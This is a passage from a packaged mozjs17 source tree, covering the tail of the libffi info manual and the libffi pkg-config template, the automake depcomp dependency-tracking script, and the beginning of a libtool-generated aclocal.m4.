(closure) { /* Initialize the argument info vectors */ args[0] = &ffi_type_pointer; /* Initialize the cif */ if (ffi_prep_cif(&cif, FFI_DEFAULT_ABI, 1, &ffi_type_uint, args) == FFI_OK) { /* Initialize the closure, setting stream to stdout */ if (ffi_prep_closure_loc(closure, &cif, puts_binding, stdout, bound_puts) == FFI_OK) { rc = bound_puts("Hello World!"); /* rc now holds the result of the call to fputs */ } } } /* Deallocate both closure, and bound_puts */ ffi_closure_free(closure); return 0; }  File: libffi.info, Node: Missing Features, Next: Index, Prev: Using libffi, Up: Top 3 Missing Features ****************** `libffi' is missing a few features. We welcome patches to add support for these. * There is no support for calling varargs functions. This may work on some platforms, depending on how the ABI is defined, but it is not reliable. * There is no support for bit fields in structures. * The closure API is * The "raw" API is undocumented.  File: libffi.info, Node: Index, Prev: Missing Features, Up: Top Index ***** [index] * Menu: * : Structures. (line 12) * ABI: Introduction. (line 13) * Application Binary Interface: Introduction. (line 13) * calling convention: Introduction. (line 13) * cif: The Basics. (line 14) * closure API: The Closure API. (line 13) * closures: The Closure API. (line 13) * FFI: Introduction. (line 31) * ffi_call: The Basics. (line 41) * ffi_closure_alloc: The Closure API. (line 19) * ffi_closure_free: The Closure API. (line 26) * FFI_CLOSURES: The Closure API. (line 13) * ffi_prep_cif: The Basics. (line 16) * ffi_prep_closure_loc: The Closure API. (line 34) * ffi_status <1>: The Closure API. (line 37) * ffi_status: The Basics. (line 18) * ffi_type: Structures. (line 11) * ffi_type_double: Primitive Types. (line 41) * ffi_type_float: Primitive Types. (line 38) * ffi_type_longdouble: Primitive Types. (line 71) * ffi_type_pointer: Primitive Types. (line 75) * ffi_type_schar: Primitive Types. (line 47) * ffi_type_sint: Primitive Types. (line 62) * ffi_type_sint16: Primitive Types. (line 23) * ffi_type_sint32: Primitive Types. (line 29) * ffi_type_sint64: Primitive Types. (line 35) * ffi_type_sint8: Primitive Types. (line 17) * ffi_type_slong: Primitive Types. (line 68) * ffi_type_sshort: Primitive Types. (line 56) * ffi_type_uchar: Primitive Types. (line 44) * ffi_type_uint: Primitive Types. (line 59) * ffi_type_uint16: Primitive Types. (line 20) * ffi_type_uint32: Primitive Types. (line 26) * ffi_type_uint64: Primitive Types. (line 32) * ffi_type_uint8: Primitive Types. (line 14) * ffi_type_ulong: Primitive Types. (line 65) * ffi_type_ushort: Primitive Types. (line 53) * ffi_type_void: Primitive Types. (line 10) * Foreign Function Interface: Introduction. (line 31) * void <1>: The Closure API. (line 20) * void: The Basics. (line 43)  Tag Table: Node: Top706 Node: Introduction1448 Node: Using libffi3084 Node: The Basics3570 Node: Simple Example6356 Node: Types7383 Node: Primitive Types7666 Node: Structures9486 Node: Type Example10346 Node: Multiple ABIs11569 Node: The Closure API11940 Node: Closure Example14884 Node: Missing Features16443 Node: Index16936  End Tag Table mozjs17.0.0/js/src/ctypes/libffi/libffi.pc.in0000664000175000017500000000042512106270662020732 0ustar sstanglsstanglprefix=@prefix@ exec_prefix=@exec_prefix@ libdir=@libdir@ includedir=${libdir}/@PACKAGE_NAME@-@PACKAGE_VERSION@/include Name: @PACKAGE_NAME@ Description: Library supporting Foreign Function Interfaces Version: @PACKAGE_VERSION@ Libs: -L${libdir} -lffi Cflags: -I${includedir} mozjs17.0.0/js/src/ctypes/libffi/depcomp0000775000175000017500000004224612106270662020132 0ustar sstanglsstangl#! /bin/sh # depcomp - compile a program generating dependencies as side-effects scriptversion=2006-10-15.18 # Copyright (C) 1999, 2000, 2003, 2004, 2005, 2006 Free Software # Foundation, Inc. # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2, or (at your option) # any later version. # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA # 02110-1301, USA. # As a special exception to the GNU General Public License, if you # distribute this file as part of a program that contains a # configuration script generated by Autoconf, you may include it under # the same distribution terms that you use for the rest of that program. # Originally written by Alexandre Oliva . case $1 in '') echo "$0: No command. Try \`$0 --help' for more information." 1>&2 exit 1; ;; -h | --h*) cat <<\EOF Usage: depcomp [--help] [--version] PROGRAM [ARGS] Run PROGRAMS ARGS to compile a file, generating dependencies as side-effects. Environment variables: depmode Dependency tracking mode. source Source file read by `PROGRAMS ARGS'. object Object file output by `PROGRAMS ARGS'. DEPDIR directory where to store dependencies. depfile Dependency file to output. tmpdepfile Temporary file to use when outputing dependencies. libtool Whether libtool is used (yes/no). Report bugs to . EOF exit $? ;; -v | --v*) echo "depcomp $scriptversion" exit $? ;; esac if test -z "$depmode" || test -z "$source" || test -z "$object"; then echo "depcomp: Variables source, object and depmode must be set" 1>&2 exit 1 fi # Dependencies for sub/bar.o or sub/bar.obj go into sub/.deps/bar.Po. depfile=${depfile-`echo "$object" | sed 's|[^\\/]*$|'${DEPDIR-.deps}'/&|;s|\.\([^.]*\)$|.P\1|;s|Pobj$|Po|'`} tmpdepfile=${tmpdepfile-`echo "$depfile" | sed 's/\.\([^.]*\)$/.T\1/'`} rm -f "$tmpdepfile" # Some modes work just like other modes, but use different flags. We # parameterize here, but still list the modes in the big case below, # to make depend.m4 easier to write. Note that we *cannot* use a case # here, because this file can only contain one case statement. if test "$depmode" = hp; then # HP compiler uses -M and no extra arg. gccflag=-M depmode=gcc fi if test "$depmode" = dashXmstdout; then # This is just like dashmstdout with a different argument. dashmflag=-xM depmode=dashmstdout fi case "$depmode" in gcc3) ## gcc 3 implements dependency tracking that does exactly what ## we want. Yay! Note: for some reason libtool 1.4 doesn't like ## it if -MD -MP comes after the -MF stuff. Hmm. ## Unfortunately, FreeBSD c89 acceptance of flags depends upon ## the command line argument order; so add the flags where they ## appear in depend2.am. Note that the slowdown incurred here ## affects only configure: in makefiles, %FASTDEP% shortcuts this. for arg do case $arg in -c) set fnord "$@" -MT "$object" -MD -MP -MF "$tmpdepfile" "$arg" ;; *) set fnord "$@" "$arg" ;; esac shift # fnord shift # $arg done "$@" stat=$? if test $stat -eq 0; then : else rm -f "$tmpdepfile" exit $stat fi mv "$tmpdepfile" "$depfile" ;; gcc) ## There are various ways to get dependency output from gcc. Here's ## why we pick this rather obscure method: ## - Don't want to use -MD because we'd like the dependencies to end ## up in a subdir. Having to rename by hand is ugly. ## (We might end up doing this anyway to support other compilers.) ## - The DEPENDENCIES_OUTPUT environment variable makes gcc act like ## -MM, not -M (despite what the docs say). ## - Using -M directly means running the compiler twice (even worse ## than renaming). if test -z "$gccflag"; then gccflag=-MD, fi "$@" -Wp,"$gccflag$tmpdepfile" stat=$? if test $stat -eq 0; then : else rm -f "$tmpdepfile" exit $stat fi rm -f "$depfile" echo "$object : \\" > "$depfile" alpha=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz ## The second -e expression handles DOS-style file names with drive letters. sed -e 's/^[^:]*: / /' \ -e 's/^['$alpha']:\/[^:]*: / /' < "$tmpdepfile" >> "$depfile" ## This next piece of magic avoids the `deleted header file' problem. ## The problem is that when a header file which appears in a .P file ## is deleted, the dependency causes make to die (because there is ## typically no way to rebuild the header). We avoid this by adding ## dummy dependencies for each header file. Too bad gcc doesn't do ## this for us directly. tr ' ' ' ' < "$tmpdepfile" | ## Some versions of gcc put a space before the `:'. On the theory ## that the space means something, we add a space to the output as ## well. ## Some versions of the HPUX 10.20 sed can't process this invocation ## correctly. Breaking it into two sed invocations is a workaround. sed -e 's/^\\$//' -e '/^$/d' -e '/:$/d' | sed -e 's/$/ :/' >> "$depfile" rm -f "$tmpdepfile" ;; hp) # This case exists only to let depend.m4 do its work. It works by # looking at the text of this script. This case will never be run, # since it is checked for above. exit 1 ;; sgi) if test "$libtool" = yes; then "$@" "-Wp,-MDupdate,$tmpdepfile" else "$@" -MDupdate "$tmpdepfile" fi stat=$? if test $stat -eq 0; then : else rm -f "$tmpdepfile" exit $stat fi rm -f "$depfile" if test -f "$tmpdepfile"; then # yes, the sourcefile depend on other files echo "$object : \\" > "$depfile" # Clip off the initial element (the dependent). Don't try to be # clever and replace this with sed code, as IRIX sed won't handle # lines with more than a fixed number of characters (4096 in # IRIX 6.2 sed, 8192 in IRIX 6.5). We also remove comment lines; # the IRIX cc adds comments like `#:fec' to the end of the # dependency line. tr ' ' ' ' < "$tmpdepfile" \ | sed -e 's/^.*\.o://' -e 's/#.*$//' -e '/^$/ d' | \ tr ' ' ' ' >> $depfile echo >> $depfile # The second pass generates a dummy entry for each header file. tr ' ' ' ' < "$tmpdepfile" \ | sed -e 's/^.*\.o://' -e 's/#.*$//' -e '/^$/ d' -e 's/$/:/' \ >> $depfile else # The sourcefile does not contain any dependencies, so just # store a dummy comment line, to avoid errors with the Makefile # "include basename.Plo" scheme. echo "#dummy" > "$depfile" fi rm -f "$tmpdepfile" ;; aix) # The C for AIX Compiler uses -M and outputs the dependencies # in a .u file. In older versions, this file always lives in the # current directory. Also, the AIX compiler puts `$object:' at the # start of each line; $object doesn't have directory information. # Version 6 uses the directory in both cases. stripped=`echo "$object" | sed 's/\(.*\)\..*$/\1/'` tmpdepfile="$stripped.u" if test "$libtool" = yes; then "$@" -Wc,-M else "$@" -M fi stat=$? if test -f "$tmpdepfile"; then : else stripped=`echo "$stripped" | sed 's,^.*/,,'` tmpdepfile="$stripped.u" fi if test $stat -eq 0; then : else rm -f "$tmpdepfile" exit $stat fi if test -f "$tmpdepfile"; then outname="$stripped.o" # Each line is of the form `foo.o: dependent.h'. # Do two passes, one to just change these to # `$object: dependent.h' and one to simply `dependent.h:'. sed -e "s,^$outname:,$object :," < "$tmpdepfile" > "$depfile" sed -e "s,^$outname: \(.*\)$,\1:," < "$tmpdepfile" >> "$depfile" else # The sourcefile does not contain any dependencies, so just # store a dummy comment line, to avoid errors with the Makefile # "include basename.Plo" scheme. echo "#dummy" > "$depfile" fi rm -f "$tmpdepfile" ;; icc) # Intel's C compiler understands `-MD -MF file'. However on # icc -MD -MF foo.d -c -o sub/foo.o sub/foo.c # ICC 7.0 will fill foo.d with something like # foo.o: sub/foo.c # foo.o: sub/foo.h # which is wrong. We want: # sub/foo.o: sub/foo.c # sub/foo.o: sub/foo.h # sub/foo.c: # sub/foo.h: # ICC 7.1 will output # foo.o: sub/foo.c sub/foo.h # and will wrap long lines using \ : # foo.o: sub/foo.c ... \ # sub/foo.h ... \ # ... "$@" -MD -MF "$tmpdepfile" stat=$? if test $stat -eq 0; then : else rm -f "$tmpdepfile" exit $stat fi rm -f "$depfile" # Each line is of the form `foo.o: dependent.h', # or `foo.o: dep1.h dep2.h \', or ` dep3.h dep4.h \'. # Do two passes, one to just change these to # `$object: dependent.h' and one to simply `dependent.h:'. sed "s,^[^:]*:,$object :," < "$tmpdepfile" > "$depfile" # Some versions of the HPUX 10.20 sed can't process this invocation # correctly. Breaking it into two sed invocations is a workaround. sed 's,^[^:]*: \(.*\)$,\1,;s/^\\$//;/^$/d;/:$/d' < "$tmpdepfile" | sed -e 's/$/ :/' >> "$depfile" rm -f "$tmpdepfile" ;; hp2) # The "hp" stanza above does not work with aCC (C++) and HP's ia64 # compilers, which have integrated preprocessors. The correct option # to use with these is +Maked; it writes dependencies to a file named # 'foo.d', which lands next to the object file, wherever that # happens to be. # Much of this is similar to the tru64 case; see comments there. dir=`echo "$object" | sed -e 's|/[^/]*$|/|'` test "x$dir" = "x$object" && dir= base=`echo "$object" | sed -e 's|^.*/||' -e 's/\.o$//' -e 's/\.lo$//'` if test "$libtool" = yes; then tmpdepfile1=$dir$base.d tmpdepfile2=$dir.libs/$base.d "$@" -Wc,+Maked else tmpdepfile1=$dir$base.d tmpdepfile2=$dir$base.d "$@" +Maked fi stat=$? if test $stat -eq 0; then : else rm -f "$tmpdepfile1" "$tmpdepfile2" exit $stat fi for tmpdepfile in "$tmpdepfile1" "$tmpdepfile2" do test -f "$tmpdepfile" && break done if test -f "$tmpdepfile"; then sed -e "s,^.*\.[a-z]*:,$object:," "$tmpdepfile" > "$depfile" # Add `dependent.h:' lines. sed -ne '2,${; s/^ *//; s/ \\*$//; s/$/:/; p;}' "$tmpdepfile" >> "$depfile" else echo "#dummy" > "$depfile" fi rm -f "$tmpdepfile" "$tmpdepfile2" ;; tru64) # The Tru64 compiler uses -MD to generate dependencies as a side # effect. `cc -MD -o foo.o ...' puts the dependencies into `foo.o.d'. # At least on Alpha/Redhat 6.1, Compaq CCC V6.2-504 seems to put # dependencies in `foo.d' instead, so we check for that too. # Subdirectories are respected. dir=`echo "$object" | sed -e 's|/[^/]*$|/|'` test "x$dir" = "x$object" && dir= base=`echo "$object" | sed -e 's|^.*/||' -e 's/\.o$//' -e 's/\.lo$//'` if test "$libtool" = yes; then # With Tru64 cc, shared objects can also be used to make a # static library. This mechanism is used in libtool 1.4 series to # handle both shared and static libraries in a single compilation. # With libtool 1.4, dependencies were output in $dir.libs/$base.lo.d. # # With libtool 1.5 this exception was removed, and libtool now # generates 2 separate objects for the 2 libraries. These two # compilations output dependencies in $dir.libs/$base.o.d and # in $dir$base.o.d. We have to check for both files, because # one of the two compilations can be disabled. We should prefer # $dir$base.o.d over $dir.libs/$base.o.d because the latter is # automatically cleaned when .libs/ is deleted, while ignoring # the former would cause a distcleancheck panic. tmpdepfile1=$dir.libs/$base.lo.d # libtool 1.4 tmpdepfile2=$dir$base.o.d # libtool 1.5 tmpdepfile3=$dir.libs/$base.o.d # libtool 1.5 tmpdepfile4=$dir.libs/$base.d # Compaq CCC V6.2-504 "$@" -Wc,-MD else tmpdepfile1=$dir$base.o.d tmpdepfile2=$dir$base.d tmpdepfile3=$dir$base.d tmpdepfile4=$dir$base.d "$@" -MD fi stat=$? if test $stat -eq 0; then : else rm -f "$tmpdepfile1" "$tmpdepfile2" "$tmpdepfile3" "$tmpdepfile4" exit $stat fi for tmpdepfile in "$tmpdepfile1" "$tmpdepfile2" "$tmpdepfile3" "$tmpdepfile4" do test -f "$tmpdepfile" && break done if test -f "$tmpdepfile"; then sed -e "s,^.*\.[a-z]*:,$object:," < "$tmpdepfile" > "$depfile" # That's a tab and a space in the []. sed -e 's,^.*\.[a-z]*:[ ]*,,' -e 's,$,:,' < "$tmpdepfile" >> "$depfile" else echo "#dummy" > "$depfile" fi rm -f "$tmpdepfile" ;; #nosideeffect) # This comment above is used by automake to tell side-effect # dependency tracking mechanisms from slower ones. dashmstdout) # Important note: in order to support this mode, a compiler *must* # always write the preprocessed file to stdout, regardless of -o. "$@" || exit $? # Remove the call to Libtool. if test "$libtool" = yes; then while test $1 != '--mode=compile'; do shift done shift fi # Remove `-o $object'. IFS=" " for arg do case $arg in -o) shift ;; $object) shift ;; *) set fnord "$@" "$arg" shift # fnord shift # $arg ;; esac done test -z "$dashmflag" && dashmflag=-M # Require at least two characters before searching for `:' # in the target name. This is to cope with DOS-style filenames: # a dependency such as `c:/foo/bar' could be seen as target `c' otherwise. "$@" $dashmflag | sed 's:^[ ]*[^: ][^:][^:]*\:[ ]*:'"$object"'\: :' > "$tmpdepfile" rm -f "$depfile" cat < "$tmpdepfile" > "$depfile" tr ' ' ' ' < "$tmpdepfile" | \ ## Some versions of the HPUX 10.20 sed can't process this invocation ## correctly. Breaking it into two sed invocations is a workaround. sed -e 's/^\\$//' -e '/^$/d' -e '/:$/d' | sed -e 's/$/ :/' >> "$depfile" rm -f "$tmpdepfile" ;; dashXmstdout) # This case only exists to satisfy depend.m4. It is never actually # run, as this mode is specially recognized in the preamble. exit 1 ;; makedepend) "$@" || exit $? # Remove any Libtool call if test "$libtool" = yes; then while test $1 != '--mode=compile'; do shift done shift fi # X makedepend shift cleared=no for arg in "$@"; do case $cleared in no) set ""; shift cleared=yes ;; esac case "$arg" in -D*|-I*) set fnord "$@" "$arg"; shift ;; # Strip any option that makedepend may not understand. Remove # the object too, otherwise makedepend will parse it as a source file. -*|$object) ;; *) set fnord "$@" "$arg"; shift ;; esac done obj_suffix="`echo $object | sed 's/^.*\././'`" touch "$tmpdepfile" ${MAKEDEPEND-makedepend} -o"$obj_suffix" -f"$tmpdepfile" "$@" rm -f "$depfile" cat < "$tmpdepfile" > "$depfile" sed '1,2d' "$tmpdepfile" | tr ' ' ' ' | \ ## Some versions of the HPUX 10.20 sed can't process this invocation ## correctly. Breaking it into two sed invocations is a workaround. sed -e 's/^\\$//' -e '/^$/d' -e '/:$/d' | sed -e 's/$/ :/' >> "$depfile" rm -f "$tmpdepfile" "$tmpdepfile".bak ;; cpp) # Important note: in order to support this mode, a compiler *must* # always write the preprocessed file to stdout. "$@" || exit $? # Remove the call to Libtool. if test "$libtool" = yes; then while test $1 != '--mode=compile'; do shift done shift fi # Remove `-o $object'. IFS=" " for arg do case $arg in -o) shift ;; $object) shift ;; *) set fnord "$@" "$arg" shift # fnord shift # $arg ;; esac done "$@" -E | sed -n -e '/^# [0-9][0-9]* "\([^"]*\)".*/ s:: \1 \\:p' \ -e '/^#line [0-9][0-9]* "\([^"]*\)".*/ s:: \1 \\:p' | sed '$ s: \\$::' > "$tmpdepfile" rm -f "$depfile" echo "$object : \\" > "$depfile" cat < "$tmpdepfile" >> "$depfile" sed < "$tmpdepfile" '/^$/d;s/^ //;s/ \\$//;s/$/ :/' >> "$depfile" rm -f "$tmpdepfile" ;; msvisualcpp) # Important note: in order to support this mode, a compiler *must* # always write the preprocessed file to stdout, regardless of -o, # because we must use -o when running libtool. "$@" || exit $? IFS=" " for arg do case "$arg" in "-Gm"|"/Gm"|"-Gi"|"/Gi"|"-ZI"|"/ZI") set fnord "$@" shift shift ;; *) set fnord "$@" "$arg" shift shift ;; esac done "$@" -E | sed -n '/^#line [0-9][0-9]* "\([^"]*\)"/ s::echo "`cygpath -u \\"\1\\"`":p' | sort | uniq > "$tmpdepfile" rm -f "$depfile" echo "$object : \\" > "$depfile" . "$tmpdepfile" | sed 's% %\\ %g' | sed -n '/^\(.*\)$/ s:: \1 \\:p' >> "$depfile" echo " " >> "$depfile" . "$tmpdepfile" | sed 's% %\\ %g' | sed -n '/^\(.*\)$/ s::\1\::p' >> "$depfile" rm -f "$tmpdepfile" ;; none) exec "$@" ;; *) echo "Unknown depmode $depmode" 1>&2 exit 1 ;; esac exit 0 # Local Variables: # mode: shell-script # sh-indentation: 2 # eval: (add-hook 'write-file-hooks 'time-stamp) # time-stamp-start: "scriptversion=" # time-stamp-format: "%:y-%02m-%02d.%02H" # time-stamp-end: "$" # End: mozjs17.0.0/js/src/ctypes/libffi/aclocal.m40000664000175000017500000124510112106270662020411 0ustar sstanglsstangl# generated automatically by aclocal 1.11.1 -*- Autoconf -*- # Copyright (C) 1996, 1997, 1998, 1999, 2000, 2001, 2002, 2003, 2004, # 2005, 2006, 2007, 2008, 2009 Free Software Foundation, Inc. # This file is free software; the Free Software Foundation # gives unlimited permission to copy and/or distribute it, # with or without modifications, as long as this notice is preserved. # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY, to the extent permitted by law; without # even the implied warranty of MERCHANTABILITY or FITNESS FOR A # PARTICULAR PURPOSE. m4_ifndef([AC_AUTOCONF_VERSION], [m4_copy([m4_PACKAGE_VERSION], [AC_AUTOCONF_VERSION])])dnl m4_if(m4_defn([AC_AUTOCONF_VERSION]), [2.65],, [m4_warning([this file was generated for autoconf 2.65. You have another version of autoconf. It may work, but is not guaranteed to. If you have problems, you may need to regenerate the build system entirely. To do so, use the procedure documented by the package, typically `autoreconf'.])]) # libtool.m4 - Configure libtool for the host system. -*-Autoconf-*- # # Copyright (C) 1996, 1997, 1998, 1999, 2000, 2001, 2003, 2004, 2005, # 2006, 2007, 2008 Free Software Foundation, Inc. # Written by Gordon Matzigkeit, 1996 # # This file is free software; the Free Software Foundation gives # unlimited permission to copy and/or distribute it, with or without # modifications, as long as this notice is preserved. m4_define([_LT_COPYING], [dnl # Copyright (C) 1996, 1997, 1998, 1999, 2000, 2001, 2003, 2004, 2005, # 2006, 2007, 2008 Free Software Foundation, Inc. # Written by Gordon Matzigkeit, 1996 # # This file is part of GNU Libtool. # # GNU Libtool is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License as # published by the Free Software Foundation; either version 2 of # the License, or (at your option) any later version. # # As a special exception to the GNU General Public License, # if you distribute this file as part of a program or library that # is built using GNU Libtool, you may include this file under the # same distribution terms that you use for the rest of that program. # # GNU Libtool is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with GNU Libtool; see the file COPYING. If not, a copy # can be downloaded from http://www.gnu.org/licenses/gpl.html, or # obtained by writing to the Free Software Foundation, Inc., # 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. ]) # serial 56 LT_INIT # LT_PREREQ(VERSION) # ------------------ # Complain and exit if this libtool version is less that VERSION. m4_defun([LT_PREREQ], [m4_if(m4_version_compare(m4_defn([LT_PACKAGE_VERSION]), [$1]), -1, [m4_default([$3], [m4_fatal([Libtool version $1 or higher is required], 63)])], [$2])]) # _LT_CHECK_BUILDDIR # ------------------ # Complain if the absolute build directory name contains unusual characters m4_defun([_LT_CHECK_BUILDDIR], [case `pwd` in *\ * | *\ *) AC_MSG_WARN([Libtool does not cope well with whitespace in `pwd`]) ;; esac ]) # LT_INIT([OPTIONS]) # ------------------ AC_DEFUN([LT_INIT], [AC_PREREQ([2.58])dnl We use AC_INCLUDES_DEFAULT AC_BEFORE([$0], [LT_LANG])dnl AC_BEFORE([$0], [LT_OUTPUT])dnl AC_BEFORE([$0], [LTDL_INIT])dnl m4_require([_LT_CHECK_BUILDDIR])dnl dnl Autoconf doesn't catch unexpanded LT_ macros by default: m4_pattern_forbid([^_?LT_[A-Z_]+$])dnl m4_pattern_allow([^(_LT_EOF|LT_DLGLOBAL|LT_DLLAZY_OR_NOW|LT_MULTI_MODULE)$])dnl dnl aclocal doesn't pull ltoptions.m4, ltsugar.m4, or ltversion.m4 dnl unless we require an AC_DEFUNed macro: AC_REQUIRE([LTOPTIONS_VERSION])dnl AC_REQUIRE([LTSUGAR_VERSION])dnl AC_REQUIRE([LTVERSION_VERSION])dnl AC_REQUIRE([LTOBSOLETE_VERSION])dnl m4_require([_LT_PROG_LTMAIN])dnl dnl Parse OPTIONS _LT_SET_OPTIONS([$0], [$1]) # This can be used to rebuild libtool when needed LIBTOOL_DEPS="$ltmain" # Always use our own libtool. LIBTOOL='$(SHELL) $(top_builddir)/libtool' AC_SUBST(LIBTOOL)dnl _LT_SETUP # Only expand once: m4_define([LT_INIT]) ])# LT_INIT # Old names: AU_ALIAS([AC_PROG_LIBTOOL], [LT_INIT]) AU_ALIAS([AM_PROG_LIBTOOL], [LT_INIT]) dnl aclocal-1.4 backwards compatibility: dnl AC_DEFUN([AC_PROG_LIBTOOL], []) dnl AC_DEFUN([AM_PROG_LIBTOOL], []) # _LT_CC_BASENAME(CC) # ------------------- # Calculate cc_basename. Skip known compiler wrappers and cross-prefix. m4_defun([_LT_CC_BASENAME], [for cc_temp in $1""; do case $cc_temp in compile | *[[\\/]]compile | ccache | *[[\\/]]ccache ) ;; distcc | *[[\\/]]distcc | purify | *[[\\/]]purify ) ;; \-*) ;; *) break;; esac done cc_basename=`$ECHO "X$cc_temp" | $Xsed -e 's%.*/%%' -e "s%^$host_alias-%%"` ]) # _LT_FILEUTILS_DEFAULTS # ---------------------- # It is okay to use these file commands and assume they have been set # sensibly after `m4_require([_LT_FILEUTILS_DEFAULTS])'. m4_defun([_LT_FILEUTILS_DEFAULTS], [: ${CP="cp -f"} : ${MV="mv -f"} : ${RM="rm -f"} ])# _LT_FILEUTILS_DEFAULTS # _LT_SETUP # --------- m4_defun([_LT_SETUP], [AC_REQUIRE([AC_CANONICAL_HOST])dnl AC_REQUIRE([AC_CANONICAL_BUILD])dnl _LT_DECL([], [host_alias], [0], [The host system])dnl _LT_DECL([], [host], [0])dnl _LT_DECL([], [host_os], [0])dnl dnl _LT_DECL([], [build_alias], [0], [The build system])dnl _LT_DECL([], [build], [0])dnl _LT_DECL([], [build_os], [0])dnl dnl AC_REQUIRE([AC_PROG_CC])dnl AC_REQUIRE([LT_PATH_LD])dnl AC_REQUIRE([LT_PATH_NM])dnl dnl AC_REQUIRE([AC_PROG_LN_S])dnl test -z "$LN_S" && LN_S="ln -s" _LT_DECL([], [LN_S], [1], [Whether we need soft or hard links])dnl dnl AC_REQUIRE([LT_CMD_MAX_LEN])dnl _LT_DECL([objext], [ac_objext], [0], [Object file suffix (normally "o")])dnl _LT_DECL([], [exeext], [0], [Executable file suffix (normally "")])dnl dnl m4_require([_LT_FILEUTILS_DEFAULTS])dnl m4_require([_LT_CHECK_SHELL_FEATURES])dnl m4_require([_LT_CMD_RELOAD])dnl m4_require([_LT_CHECK_MAGIC_METHOD])dnl m4_require([_LT_CMD_OLD_ARCHIVE])dnl m4_require([_LT_CMD_GLOBAL_SYMBOLS])dnl _LT_CONFIG_LIBTOOL_INIT([ # See if we are running on zsh, and set the options which allow our # commands through without removal of \ escapes INIT. if test -n "\${ZSH_VERSION+set}" ; then setopt NO_GLOB_SUBST fi ]) if test -n "${ZSH_VERSION+set}" ; then setopt NO_GLOB_SUBST fi _LT_CHECK_OBJDIR m4_require([_LT_TAG_COMPILER])dnl _LT_PROG_ECHO_BACKSLASH case $host_os in aix3*) # AIX sometimes has problems with the GCC collect2 program. For some # reason, if we set the COLLECT_NAMES environment variable, the problems # vanish in a puff of smoke. if test "X${COLLECT_NAMES+set}" != Xset; then COLLECT_NAMES= export COLLECT_NAMES fi ;; esac # Sed substitution that helps us do robust quoting. It backslashifies # metacharacters that are still active within double-quoted strings. sed_quote_subst='s/\([["`$\\]]\)/\\\1/g' # Same as above, but do not quote variable references. double_quote_subst='s/\([["`\\]]\)/\\\1/g' # Sed substitution to delay expansion of an escaped shell variable in a # double_quote_subst'ed string. delay_variable_subst='s/\\\\\\\\\\\$/\\\\\\$/g' # Sed substitution to delay expansion of an escaped single quote. delay_single_quote_subst='s/'\''/'\'\\\\\\\'\''/g' # Sed substitution to avoid accidental globbing in evaled expressions no_glob_subst='s/\*/\\\*/g' # Global variables: ofile=libtool can_build_shared=yes # All known linkers require a `.a' archive for static linking (except MSVC, # which needs '.lib'). libext=a with_gnu_ld="$lt_cv_prog_gnu_ld" old_CC="$CC" old_CFLAGS="$CFLAGS" # Set sane defaults for various variables test -z "$CC" && CC=cc test -z "$LTCC" && LTCC=$CC test -z "$LTCFLAGS" && LTCFLAGS=$CFLAGS test -z "$LD" && LD=ld test -z "$ac_objext" && ac_objext=o _LT_CC_BASENAME([$compiler]) # Only perform the check for file, if the check method requires it test -z "$MAGIC_CMD" && MAGIC_CMD=file case $deplibs_check_method in file_magic*) if test "$file_magic_cmd" = '$MAGIC_CMD'; then _LT_PATH_MAGIC fi ;; esac # Use C for the default configuration in the libtool script LT_SUPPORTED_TAG([CC]) _LT_LANG_C_CONFIG _LT_LANG_DEFAULT_CONFIG _LT_CONFIG_COMMANDS ])# _LT_SETUP # _LT_PROG_LTMAIN # --------------- # Note that this code is called both from `configure', and `config.status' # now that we use AC_CONFIG_COMMANDS to generate libtool. Notably, # `config.status' has no value for ac_aux_dir unless we are using Automake, # so we pass a copy along to make sure it has a sensible value anyway. m4_defun([_LT_PROG_LTMAIN], [m4_ifdef([AC_REQUIRE_AUX_FILE], [AC_REQUIRE_AUX_FILE([ltmain.sh])])dnl _LT_CONFIG_LIBTOOL_INIT([ac_aux_dir='$ac_aux_dir']) ltmain="$ac_aux_dir/ltmain.sh" ])# _LT_PROG_LTMAIN # So that we can recreate a full libtool script including additional # tags, we accumulate the chunks of code to send to AC_CONFIG_COMMANDS # in macros and then make a single call at the end using the `libtool' # label. # _LT_CONFIG_LIBTOOL_INIT([INIT-COMMANDS]) # ---------------------------------------- # Register INIT-COMMANDS to be passed to AC_CONFIG_COMMANDS later. m4_define([_LT_CONFIG_LIBTOOL_INIT], [m4_ifval([$1], [m4_append([_LT_OUTPUT_LIBTOOL_INIT], [$1 ])])]) # Initialize. m4_define([_LT_OUTPUT_LIBTOOL_INIT]) # _LT_CONFIG_LIBTOOL([COMMANDS]) # ------------------------------ # Register COMMANDS to be passed to AC_CONFIG_COMMANDS later. m4_define([_LT_CONFIG_LIBTOOL], [m4_ifval([$1], [m4_append([_LT_OUTPUT_LIBTOOL_COMMANDS], [$1 ])])]) # Initialize. m4_define([_LT_OUTPUT_LIBTOOL_COMMANDS]) # _LT_CONFIG_SAVE_COMMANDS([COMMANDS], [INIT_COMMANDS]) # ----------------------------------------------------- m4_defun([_LT_CONFIG_SAVE_COMMANDS], [_LT_CONFIG_LIBTOOL([$1]) _LT_CONFIG_LIBTOOL_INIT([$2]) ]) # _LT_FORMAT_COMMENT([COMMENT]) # ----------------------------- # Add leading comment marks to the start of each line, and a trailing # full-stop to the whole comment if one is not present already. m4_define([_LT_FORMAT_COMMENT], [m4_ifval([$1], [ m4_bpatsubst([m4_bpatsubst([$1], [^ *], [# ])], [['`$\]], [\\\&])]m4_bmatch([$1], [[!?.]$], [], [.]) )]) # _LT_DECL([CONFIGNAME], VARNAME, VALUE, [DESCRIPTION], [IS-TAGGED?]) # ------------------------------------------------------------------- # CONFIGNAME is the name given to the value in the libtool script. # VARNAME is the (base) name used in the configure script. # VALUE may be 0, 1 or 2 for a computed quote escaped value based on # VARNAME. Any other value will be used directly. m4_define([_LT_DECL], [lt_if_append_uniq([lt_decl_varnames], [$2], [, ], [lt_dict_add_subkey([lt_decl_dict], [$2], [libtool_name], [m4_ifval([$1], [$1], [$2])]) 